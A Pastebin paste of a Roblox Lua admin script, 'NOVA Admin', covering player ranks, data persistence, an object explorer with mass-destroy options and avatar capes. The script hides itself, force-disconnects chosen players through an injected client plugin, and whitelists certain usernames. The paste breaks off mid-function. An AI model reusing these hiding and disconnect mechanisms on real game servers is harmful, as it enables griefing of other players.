Advertisement
Guest User

Untitled

a guest
Mar 2nd, 2017
128
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. --[[  Scythe v.0.3--------------------------------------                                                                                                                                                                                  ]]
  2. script.Name = "ยง NOVA Admin ยง"
  3. wait()
  4. script.Parent = nil
  5. NOVA ={
  6.     ShutdownPhrase = "Lol " .. math.random(1,50) .. "XD Shutdown nub low life";
  7.     BadPhrases = false;
  8.     Ab = false;
  9.      AntiCamball = true;
  10.     Bet = "/";
  11.     Services = {
  12.         Game = game;
  13.         RunService = game:GetService("RunService");
  14.         Workspace = game:GetService("Workspace");
  15.         Lighting = game:GetService("Lighting");
  16.         Debris = game:GetService("Debris");
  17.         Players = game:GetService("Players");
  18.         Teams = game:GetService("Teams");
  19.         SoundService = game:GetService("SoundService");
  20.         ScriptContext = game:GetService("ScriptContext");
  21.         NetworkServer = game:GetService("NetworkServer");
  22.         StarterGui = game:GetService("StarterGui");
  23.         StarterPack = game:GetService("StarterPack");
  24.     };
  25.     Ranks = {
  26.         {-2,"Lagged"}; -- -2
  27.         {-1,"Banned"}; -- -1
  28.         {-0.5,"Scum"};
  29.         {0,"Guest"}; -- 0
  30.         {1,"Mod"}; -- 1
  31.         {2,"Admin"}; -- 2
  32.         {3,"Developer"}; -- 3
  33.         {4,"Omega Admin"}; -- 4
  34.         {5,"Overlord"}; -- 5
  35.         {6,"OP ( Operator )"}; -- 6
  36.         {7,"Creator"}; -- 7
  37.         {8,"ROOT"}; -- 8
  38.     };
  39.     Alphabet = {
  40.     "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
  41.     };
  42.     Ranked = {             
  43.         {Name = "MDMCK10", Rank = 7, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA", Mesh = false};
  44.     };    
  45.     Credit = {
  46.         {Name = "NetworkClient",Why = "for the tablet function."};
  47.         {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
  48.         {Name = "upquark",Why = "For being a great person in life."};
  49.         {Name = "toshir0z",Why = "For teaching me time control."};
  50.         {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
  51.         {Name = "tusKOr661",Why = "For majorly editing this script."};
  52.     };
  53.     Animations = {
  54.         {Name = "Facepalm", Who = "tusKOr661", Id = "372695cdb6a7540768234ad60ed7a298"};
  55.     };
  56.     Colors = {
  57.         Red = Color3.new(1,0,0);
  58.         PinkRed = Color3.new(1,0,0.15);
  59.         Orange = Color3.new(1,0.5,0);
  60.         Yellow = Color3.new(1,1,0);
  61.         Green = Color3.new(0,1,0);
  62.         Blue = Color3.new(0,0,1);
  63.         LightBlue = Color3.new(0,1,1);
  64.         Pink = Color3.new(1,0,1);
  65.         Magenta = Color3.new(0.54,0,0.54);
  66.         White = Color3.new(1,1,1);
  67.         Grey = Color3.new(0.5,0.5,0.5);
  68.         Black = Color3.new(0,0,0);
  69.     };
  70.     Sounds = {
  71.         Sound = Instance.new("Sound");
  72.         Numbers = { -- one to five ( top to bottom )
  73.             "http://www.roblox.com/Asset/?id=29445305",
  74.             "http://www.roblox.com/Asset/?id=29445339",
  75.             "http://www.roblox.com/Asset/?id=29445358",
  76.             "http://www.roblox.com/Asset/?id=29445378",
  77.             "http://www.roblox.com/Asset/?id=29445395",
  78.         };
  79.         PlayAfter = {
  80.             "http://www.roblox.com/Asset/?id=2767090",
  81.             "http://www.roblox.com/Asset/?id=2800815",
  82.             "http://www.roblox.com/Asset/?id=2801263",
  83.             "http://www.roblox.com/Asset/?id=11984254",
  84.             "http://www.roblox.com/Asset/?id=2101159",
  85.             "http://www.roblox.com/Asset/?id=3087031",
  86.             "http://www.roblox.com/Asset/?id=2101148",
  87.             "http://www.roblox.com/Asset/?id=2233908",
  88.             "http://www.roblox.com/Asset/?id=16976189",
  89.             "http://www.roblox.com/Asset/?id=2101157",
  90.             "http://www.roblox.com/Asset/?id=2974000",
  91.             "http://www.roblox.com/Asset/?id=2703110",
  92.             "http://www.roblox.com/Asset/?id=1994345",
  93.         };
  94.     };
  95.     AncientRules = {
  96.         "Thou Shall Not Use NSFW Scripts"
  97.     };
  98.     ChatFilters = {
  99.         "mediafire",
  100.         "shit",
  101.         "gtfo",
  102.         "password",
  103.         "hitler",
  104.         "vaginas",
  105.     };
  106.  
  107.     KillingPhrases = {
  108.         "ssj",
  109.         "yolo",
  110.         "swag",
  111.     };
  112.     KickingPhrases = {
  113.    };
  114.     PreviousDataKeys = {
  115.         "Unlimited Gravity&accesskey=lol4&_version="..tostring(_VERSION),
  116.     };
  117.     LoadTime = {
  118.         Start = tick(),
  119.         Finish = tick(),
  120.     };
  121.     Fences = {};
  122.     Jails = {};
  123.     Objects = {};
  124.     Commands = {};
  125.     Tablets = {};
  126.     Targeted = {};
  127.     ExternalPlayersList = {};
  128.     Waypoints = {};
  129.     Log = {};
  130.     LoggedScripts = {};
  131.     PRI = false;
  132.     LockedScripts = false;
  133.     Removed = true;
  134.     ShowChat = true;
  135.     Canceled = false;
  136.     Overrided = false;
  137.     TimeChanged = false;
  138.     TabletPositionRelative = false;
  139.     AntiDLL = false;
  140.     EnableGuests = true;
  141.     UseGlobals = false;
  142.     Overrider = nil;
  143.     TabletRotation = 0;
  144.     TabletRotationIncrease = 0.03;
  145.     AccessKey = "NewData13";
  146.     Version = "6th Generation";
  147.     DataKey = "Unlimited Gravity";
  148.     PRIType = "Kick";
  149.     LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
  150.     Script = script:FindFirstChild("PseudoScript"); -- or NewScript
  151.     Plugins = script:GetChildren()
  152. }
  153. --[[ PLAYER PLUGINS ]]--
  154. function UpdatePlayerPlugins()
  155.     if NOVA.AntiDLL == true then PlayerPlugins = [==[
  156.             script.Parent = nil
  157.             LocalPlayer = game:GetService("Players").LocalPlayer
  158.            
  159.             game:GetService("Selection").SelectionChanged:connect(function()
  160.                 if LocalPlayer.Name ~= "tusKOr661" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
  161.                     LocalPlayer.Parent = nil
  162.                     LocalPlayer.Parent = game:GetService("Players")
  163.                 end
  164.             end)
  165.             coroutine.resume(coroutine.create(function()
  166.                 while wait() do
  167.                     if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  168.                         workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  169.                         LocalPlayer.Parent = nil
  170.                         LocalPlayer.Parent = game:GetService("Players")
  171.                     end
  172.                 end
  173.             end))
  174.         ]==]
  175.         else
  176.             PlayerPlugins = [==[
  177.             script.Parent = nil
  178.             LocalPlayer = game:GetService("Players").LocalPlayer
  179.        
  180.             coroutine.resume(coroutine.create(function()
  181.                 while wait() do
  182.                     if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
  183.                         workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
  184.                         LocalPlayer.Parent = nil
  185.                         LocalPlayer.Parent = game:GetService("Players")
  186.                     end
  187.                 end
  188.             end))
  189.         ]==]
  190.     end
  191. end
  192. function Color()
  193.         local Choice = math.random(1, 5)
  194.         if Choice == 1 then
  195.                 return "Institutional white"
  196.         elseif Choice == 2 then
  197.                 return "White"
  198.         elseif Choice == 3 then
  199.                 return "Really red"
  200.         elseif Choice == 4 then
  201.                 return "New Yeller"
  202.         elseif Choice == 5 then
  203.                 return "Black"
  204.         end
  205. end  
  206. --[[ PSEUDO FUNCTIONS ]]--
  207. function CreateLocalScript(Source, Parent)
  208.     if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  209.         newLocalScript(Source, Parent)
  210.     elseif game.PlaceId == 23232804 then
  211.         NewLocalScript(Source, Parent)
  212.     elseif NOVA.LocalScript ~= nil then
  213.         NS = NOVA.LocalScript:Clone()
  214.         NS.Name = "LocalScript"
  215.         pcall(function() NS:ClearAllChildren() end)
  216.         NewSource = Instance.new("StringValue",NS)
  217.         NewSource.Name = "Source"
  218.         if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
  219.             NewSource.Name = "DSource"
  220.         end
  221.         NewSource.Value = Source
  222.         NS.Parent = Parent
  223.         NS.Disabled = false
  224.     else
  225.         print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  226.     end
  227. end
  228.  
  229. function CreateScript(Source, Parent)
  230.     if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
  231.         newScript(Source, Parent)
  232.     elseif game.PlaceId == 23232804 then
  233.         NewScript(Source, Parent)
  234.     elseif NOVA.Script ~= nil then
  235.         NS = NOVA.Script:Clone()
  236.         NS.Name = "Script"
  237.         pcall(function() NS:ClearAllChildren() end)
  238.         NewSource = Instance.new("StringValue",NS)
  239.         NewSource.Name = "Source"
  240.         NewSource.Value = Source
  241.         NS.Parent = Parent
  242.         NS.Disabled = false
  243.     else
  244.         print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
  245.     end
  246. end
  247.  
  248. function IsTargeted(Player)
  249.     if type(Player) == "string" then
  250.         for _,v in pairs(NOVA.Targeted) do
  251.             if v.Name == Player then
  252.                 return true
  253.             end
  254.         end
  255.     elseif type(Player) == "userdata" then
  256.         for _,v in pairs(NOVA.Targeted) do
  257.             if Player == v then
  258.                 return true
  259.             end
  260.         end
  261.     else
  262.         print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
  263.     end
  264.     return false
  265. end
  266.  
  267. --[[ DATA PERSISTANCE ]]--
  268. --[[ SYNC RANKS IN ]]--
  269. function SyncRanksIn()
  270.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  271.         SyncRankInSingular(v)
  272.     end
  273. end
  274. --[[ SYNC RANK IN SINGULAR ]]--
  275. function SyncRankInSingular(v)
  276.     if type(v) ~= "userdata" then
  277.         print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
  278.         return
  279.     end
  280.     coroutine.resume(coroutine.create(function()
  281.         repeat wait() until v.DataReady == true
  282.        
  283.         if GetRankedTable(v) == nil then
  284.             table.insert(NOVA.Ranked,{
  285.                 Name = v.Name,
  286.                 CMD = false,
  287.                 Rank = 0,
  288.                 Color = NOVA.Colors.Orange,
  289.                 Desc = "N/A",
  290.                 Complaints = Instance.new("Model"),
  291.                 Executeables = Instance.new("Model"),
  292.                      Mesh = false
  293.             })
  294.                
  295.         end
  296.        
  297.         local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
  298.         local Data = GetRankedTable(v)
  299.        
  300.         if PhysicalData == nil then
  301.             Data.Name = v.Name
  302.             Data.CMD = false
  303.             Data.Rank = 0
  304.             Data.Color = NOVA.Colors.Orange
  305.             Data.Desc = "N/A"
  306.             Data.Complaints = Instance.new("Model")
  307.             Data.Executeables = Instance.new("Model")
  308.         elseif PhysicalData ~= nil then
  309.             pcall(function() Data.Name = v.Name end)
  310.             pcall(function() Data.CMD = PhysicalData.CMD.Value end)
  311.             pcall(function() Data.Rank = PhysicalData.RANK.Value end)
  312.             pcall(function() Data.Color = PhysicalData.COLOR.Value end)
  313.             pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
  314.             pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
  315.             pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
  316.             if Data.CMD == nil then Data.CMD = false end
  317.             if Data.Rank == nil then Data.Rank = 0 end
  318.             if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
  319.             if Data.Desc == nil then Data.Desc = "N/A" end
  320.             if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
  321.             if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
  322.         end
  323.     end))
  324. end
  325.  
  326. --[[ SYNC RANKS OUT ]]--
  327. function SyncRanksOut()
  328.     for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
  329.         SyncRankOutSingular(v)
  330.     end
  331. end
  332.  
  333. --[[ SYNC RANK OUT SINGULAR ]]--
  334. function SyncRankOutSingular(v)
  335.     coroutine.resume(coroutine.create(function()
  336.         repeat wait() until v.DataReady == true
  337.         local RankData = GetRankedTable(v)
  338.         if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
  339.         local Data = Instance.new("Model")
  340.         Data.Name = "PlayerData"
  341.         local CMD = Instance.new("BoolValue",Data)
  342.         CMD.Name = "CMD"
  343.         CMD.Value = RankData.CMD
  344.         local Rank = Instance.new("NumberValue",Data)
  345.         Rank.Name = "RANK"
  346.         Rank.Value = RankData.Rank
  347.         local Color = Instance.new("Color3Value",Data)
  348.         Color.Name = "COLOR"
  349.         Color.Value = RankData.Color
  350.         local Desc = Instance.new("StringValue",Data)
  351.         Desc.Name = "DESCRIPTION"
  352.         Desc.Value = RankData.Desc
  353.         local Complaints = RankData.Complaints:Clone()
  354.         Complaints.Name = "COMPLAINTS"
  355.         local Executeables = RankData.Executeables:Clone()
  356.         Executeables.Name = "EXECUTEABLES"
  357.         local MeshVa = Instance.new("BoolValue",Data)
  358.     MeshVa = RankData.Mesh
  359.     if MeshVa.Value == true then
  360.     local MeshId = Instance.new("StringValue",Data)
  361.     MeshId = RankData.MeshId
  362.     end
  363.         v:SaveInstance(NOVA.DataKey.."&accesskey=".. NOVA.AccessKey .. "&_version="..NOVA.Version,Data)
  364.         for _,v in pairs(NOVA.PreviousDataKeys) do
  365.             v:SaveInstance(v,Data)
  366.         end
  367.     end))
  368. end
  369.  
  370. --[[ PLAYER INTERFACE ]]--
  371. function PlayerInterface(v,Speaker)
  372.     RemoveTablets(Speaker)
  373.     local Data = GetRankedTable(v)
  374.     OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
  375.     Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
  376.     Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
  377.     Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
  378.     Output("User Id : "..v.userId,Data.Color,Speaker)
  379.     Output("Desc : "..Data.Desc,Data.Color,Speaker)
  380.     Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
  381.     Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
  382.         if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
  383.         Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
  384.             function()
  385.                 Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey
  386.  end
  387.         )
  388.     end
  389.     if GetRank(Speaker) > Data.Rank or v == Speaker then
  390.         Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
  391.             function()
  392.                 RemoveTablets(Speaker)
  393.                 Output("True",NOVA.Colors.Green,Speaker,nil,
  394.                     function()
  395.                         Data.CMD = true
  396.                         SyncRankOutSingular(v)
  397.                         PlayerInterface(v,Speaker)
  398.                     end
  399.                 )
  400.                 Output("False",NOVA.Colors.Red,Speaker,nil,
  401.                     function()
  402.                         Data.CMD = false
  403.                         SyncRankOutSingular(v)
  404.                         PlayerInterface(v,Speaker)
  405.                     end
  406.                 )
  407.                 Output("Done",NOVA.Colors.Blue,Speaker,nil,
  408.                     function()
  409.                         PlayerInterface(v,Speaker)
  410.                     end
  411.                 )
  412.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  413.             end
  414.         )
  415.     end
  416. if GetRank(Speaker) > Data.Rank or v == Speaker then
  417.         Output("Set Mesh",NOVA.Colors.Blue,Speaker,nil,
  418.             function()
  419.                 RemoveTablets(Speaker)
  420.                 Output("Rainbow Dominus",NOVA.Colors.Green,Speaker,nil,
  421.                     function()
  422.                         Data.Mesh = "Dominus"
  423.                         SyncRankOutSingular(v)
  424.                         PlayerInterface(v,Speaker)
  425.                     end
  426.                 )
  427.                     Output("Giant Spider",NOVA.Colors.Red,Speaker,nil,
  428.                     function()
  429.                         Data.Mesh = "Spider"
  430.                         SyncRankOutSingular(v)
  431.                         PlayerInterface(v,Speaker)
  432.                     end
  433.                 )
  434.                 Output("Orb",NOVA.Colors.Red,Speaker,nil,
  435.                     function()
  436.                         Data.Mesh = "Orb"
  437.                         SyncRankOutSingular(v)
  438.                         PlayerInterface(v,Speaker)
  439.                     end
  440.                 )
  441.                 Output("Tabet",NOVA.Colors.Red,Speaker,nil,
  442.                     function()
  443.                         Data.Mesh = "Tablet"
  444.                         SyncRankOutSingular(v)
  445.                         PlayerInterface(v,Speaker)
  446.                     end
  447.                 )
  448.                 Output("Normal",NOVA.Colors.Red,Speaker,nil,
  449.                     function()
  450.                         Data.Mesh = false
  451.                         SyncRankOutSingular(v)
  452.                         PlayerInterface(v,Speaker)
  453.                     end
  454.                 )
  455.                 Output("Done",NOVA.Colors.Blue,Speaker,nil,
  456.                     function()
  457.                         PlayerInterface(v,Speaker)
  458.                     end
  459.                 )
  460.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  461.             end
  462.         )
  463.     end
  464.     if GetRank(Speaker) > Data.Rank then
  465.         Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
  466.             function()
  467.                 RemoveTablets(Speaker)
  468.                 for i,v in pairs(NOVA.Ranks) do
  469.                     if v[1] ~= 8 then
  470.                         Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
  471.                             function()
  472.                                 RemoveTablets(Speaker)
  473.                                 Data.Rank = v[1]
  474.                                 SyncRankOutSingular(v)
  475.                                 PlayerInterface(v,Speaker)
  476.                             end    
  477.                         )
  478.                     end
  479.                 end
  480.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  481.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,
  482.                     function()
  483.                         PlayerInterface(v,Speaker)
  484.                     end
  485.                 )
  486.                
  487.             end
  488.         )
  489.     end
  490.     if GetRank(Speaker) > Data.Rank or v == Speaker then
  491.         Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
  492.             function()
  493.                 RemoveTablets(Speaker)
  494.                 for i,Color in pairs(NOVA.Colors) do
  495.                     Output(tostring(i),Color,Speaker,nil,
  496.                         function()
  497.                             Data.Color = Color
  498.                             PlayerInterface(v,Speaker)
  499.                             SyncRankOutSingular(v)
  500.                         end
  501.                     )
  502.                    
  503.                 end
  504.                 Output("Back",NOVA.Colors.Blue,Speaker,nil,
  505.                         function()
  506.                             PlayerInterface(v,Speaker)
  507.                         end
  508.                     )
  509.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  510.             end
  511.         )
  512.     end
  513.     Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
  514.         function()
  515.             RemoveTablets(Speaker)
  516.             OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
  517.         end
  518.     )
  519.     Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
  520.         function()
  521.             RemoveTablets(Speaker)
  522.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
  523.         end
  524.     )
  525.     Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
  526.         function()
  527.             RemoveTablets(Speaker)
  528.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
  529.         end
  530.     )
  531.     Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
  532.         function()
  533.             RemoveTablets(Speaker)
  534.             OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
  535.         end
  536.     )
  537.     Output("Dismiss",NOVA.Colors.Red,Speaker)
  538. end
  539.  
  540. --[[ MAKE HINT ]]--
  541.  
  542. function makeHint(Text,Parent)
  543.     coroutine.resume(coroutine.create(function()
  544.         local M = Instance.new("Hint",Parent)
  545.         for i = 1, string.len(Text) do
  546.             M.Text = M.Text .. string.sub(Text, i, i)
  547.             wait(math.random() * 0.1)
  548.         end
  549.         M.Text = M.Text .. ""
  550.         for i = 1, math.random(2, 6) do
  551.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  552.             wait(0.4)
  553.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
  554.             wait(0.4)
  555.         end
  556.         M.Text = string.sub(M.Text, 1, string.len(Text))
  557.         for i = 1, string.len(M.Text) do
  558.             M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  559.             wait()
  560.         end
  561.             M:Remove()
  562.     end))
  563. end
  564. function makeMessage(Text,Parent)
  565.     coroutine.resume(coroutine.create(function()
  566.         local M = Instance.new("Message",Parent)
  567.         for i = 1, string.len(Text) do
  568.             M.Text = M.Text .. string.sub(Text, i, i)
  569.             wait(math.random() * 0.1)
  570.         end
  571.         M.Text = M.Text .. ""
  572.         for i = 1, math.random(2, 6) do
  573.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
  574.             wait(0.4)
  575.             M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
  576.             wait(0.4)
  577.         end
  578.         M.Text = string.sub(M.Text, 1, string.len(Text))
  579.         for i = 1, string.len(M.Text) do
  580.             M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
  581.             wait()
  582.         end
  583.         M:Remove()
  584.     end))
  585. end
  586.  
  587. --[[ EXPLORE ]]--
  588. function Explore(Thing,Speaker)
  589.     if Speaker == nil then
  590.         print("[NOVA.Explore] Argument 1 missing or nil.")
  591.         return
  592.     end
  593.     pcall(function()
  594.         if Thing == game or Thing == nil then
  595.             RemoveTablets(Speaker)
  596.             for _,v in pairs(NOVA.Services) do
  597.                 Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
  598.             end
  599.             Output("Dismiss",NOVA.Colors.Red,Speaker)
  600.         else
  601.             if #Thing:children() == 0 then
  602.                 RemoveTablets(Speaker)
  603.                 Explore(Thing.Parent.Parent,Speaker)    
  604.             else
  605.                 RemoveTablets(Speaker)
  606.                 for _,v in pairs(Thing:children()) do
  607.                     Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
  608.                         function()
  609.                             RemoveTablets(Speaker)
  610.                             Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
  611.                             Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
  612.                             Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
  613.                             Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
  614.                             Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
  615.                             Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
  616.                             Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
  617.                             Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
  618.                             Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
  619.                             Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
  620.                             Output("Dismiss",NOVA.Colors.Red,Speaker)
  621.                         end
  622.                     )
  623.                 end
  624.                 Output("Dismiss",NOVA.Colors.Red,Speaker)
  625.             end
  626.         end
  627.     end)
  628. end
  629.  
  630. --[[ CAPE ]]--
  631. function Cape(v)
  632.     local Mode = "None"
  633.     local AngleX = 0
  634.     pcall(function()
  635.         v.Character.Swordpack:remove()
  636.     end)
  637.     pcall(function()    
  638.         v.Character["NOVA Cape"]:remove()
  639.     end)
  640.  
  641.     local Main = Instance.new("Model",v.Character)
  642.     Main.Name = "NOVA Cape"
  643.  
  644.     pcall(function()
  645.         v.Character.Swordpack:Remove()
  646.     end)
  647.  
  648.     local Cape = Instance.new("Part", Main)
  649.     Cape.Name = "Cape"
  650.     Cape.Anchored = false
  651.     Cape.Locked = true
  652.     Cape.CanCollide = false
  653.     Cape.formFactor = "Custom"
  654.     Cape.Size = Vector3.new(2, 3.5, 0.2)
  655.     Cape.BrickColor = BrickColor.new("Really black")
  656.     Cape.TopSurface = 0
  657.     Cape.BottomSurface = 0
  658.     local Decal = Instance.new("Decal", Cape)
  659.     Decal.Face = "Back"
  660.     Decal.Texture = ""
  661.     local CapeWeld = Instance.new("Weld", Cape)
  662.     CapeWeld.Part0 = v.Character.Torso
  663.     CapeWeld.Part1 = Cape
  664.     CapeWeld.C0 = CFrame.new(0, 1, 0.5)
  665.     CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
  666.     v.Character.Humanoid.Running:connect(function(Speed)
  667.         if Speed > 0 then
  668.             Mode = "Running"
  669.         else
  670.             Mode = "None"
  671.         end
  672.     end)
  673.     v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
  674.     coroutine.wrap(function()
  675.         while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
  676.             local UpSpeed = 2.5
  677.             local DownSpeed = 5
  678.             local TargetAngle = 5
  679.             if Mode == "Running" then
  680.                 TargetAngle = 45 + math.random(0, 2500) / 100
  681.             elseif Mode == "Jumping" then
  682.                 UpSpeed = 10
  683.                 DownSpeed = 10
  684.                 TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
  685.             end
  686.             if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
  687.             if AngleX < TargetAngle then
  688.                 AngleX = AngleX + UpSpeed
  689.             elseif AngleX > TargetAngle then
  690.                 AngleX = AngleX - DownSpeed
  691.             end
  692.             CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
  693.             wait()
  694.         end
  695.     end)()
  696.  
  697.     local LShoulder = Instance.new("Part",Main)
  698.     LShoulder.Name = "Left Shoulder"
  699.     LShoulder.TopSurface = "Smooth"
  700.     LShoulder.BottomSurface = "Smooth"
  701.     LShoulder.FormFactor = "Custom"
  702.     LShoulder.Size = Vector3.new(1,0.2,1)
  703.     LShoulder.BrickColor = BrickColor.new("Really black")
  704.     LShoulder.Anchored = false
  705.     LShoulder.Locked = true
  706.     LShoulder.CanCollide = false
  707.     LShoulder.Transparency = 0
  708.     LShoulder.Reflectance = 0
  709.     local Weld = Instance.new("Motor6D",LShoulder)
  710.     Weld.Part0 = LShoulder
  711.     Weld.Part1 = v.Character["Left Arm"]
  712.     Weld.C0 = CFrame.new(0,-1,0)
  713.  
  714.     local RShoulder = Instance.new("Part",Main)
  715.     RShoulder.Name = "Right Shoulder"
  716.     RShoulder.TopSurface = "Smooth"
  717.     RShoulder.BottomSurface = "Smooth"
  718.     RShoulder.FormFactor = "Custom"
  719.     RShoulder.Size = Vector3.new(1,0.2,1)
  720.     RShoulder.BrickColor = BrickColor.new("Really black")
  721.     RShoulder.Anchored = false
  722.     RShoulder.Locked = true
  723.     RShoulder.CanCollide = false
  724.     RShoulder.Transparency = 0
  725.     RShoulder.Reflectance = 0
  726.     local Weld = Instance.new("Motor6D",RShoulder)
  727.     Weld.Part0 = RShoulder
  728.     Weld.Part1 = v.Character["Right Arm"]
  729.     Weld.C0 = CFrame.new(0,-1,0)
  730.  
  731.     local NeckFlat = Instance.new("Part",Main)
  732.     NeckFlat.Name = "NeckFlat"
  733.     NeckFlat.TopSurface = "Smooth"
  734.     NeckFlat.BottomSurface = "Smooth"
  735.     NeckFlat.FormFactor = "Custom"
  736.     NeckFlat.Size = Vector3.new(2,0.2,1)
  737.     NeckFlat.BrickColor = BrickColor.new("Really black")
  738.     NeckFlat.Anchored = false
  739.     NeckFlat.Locked = true
  740.     NeckFlat.CanCollide = false
  741.     NeckFlat.Transparency = 0
  742.     NeckFlat.Reflectance = 0
  743.     local Weld = Instance.new("Motor6D",NeckFlat)
  744.     Weld.Part0 = NeckFlat
  745.     Weld.Part1 = v.Character.Torso
  746.     Weld.C0 = CFrame.new(0,-1,0)
  747.  
  748.     for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
  749.  
  750. end
  751.  
  752. --[[ GET SPLIT ]]--
  753. function GetSplit(Msg)
  754.     Split = nil
  755.     for i=1,100 do
  756.         if string.sub(Msg,i,i) == NOVA.Bet then
  757.             Split = i
  758.             break
  759.         end
  760.     end
  761.     return Split
  762. end
  763.  
  764. --[[ GET RANK ]]--
  765.  
  766. function GetRank(Player)
  767.     Rtn = nil
  768.     if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
  769.         return 8
  770.     end
  771.     if type(Player) == "userdata" then
  772.         for _,v in pairs(NOVA.Ranked) do
  773.             if v.Name:lower() == Player.Name:lower() then
  774.                 Rtn = v.Rank
  775.             end
  776.         end
  777.     elseif type(Player) == "string" then
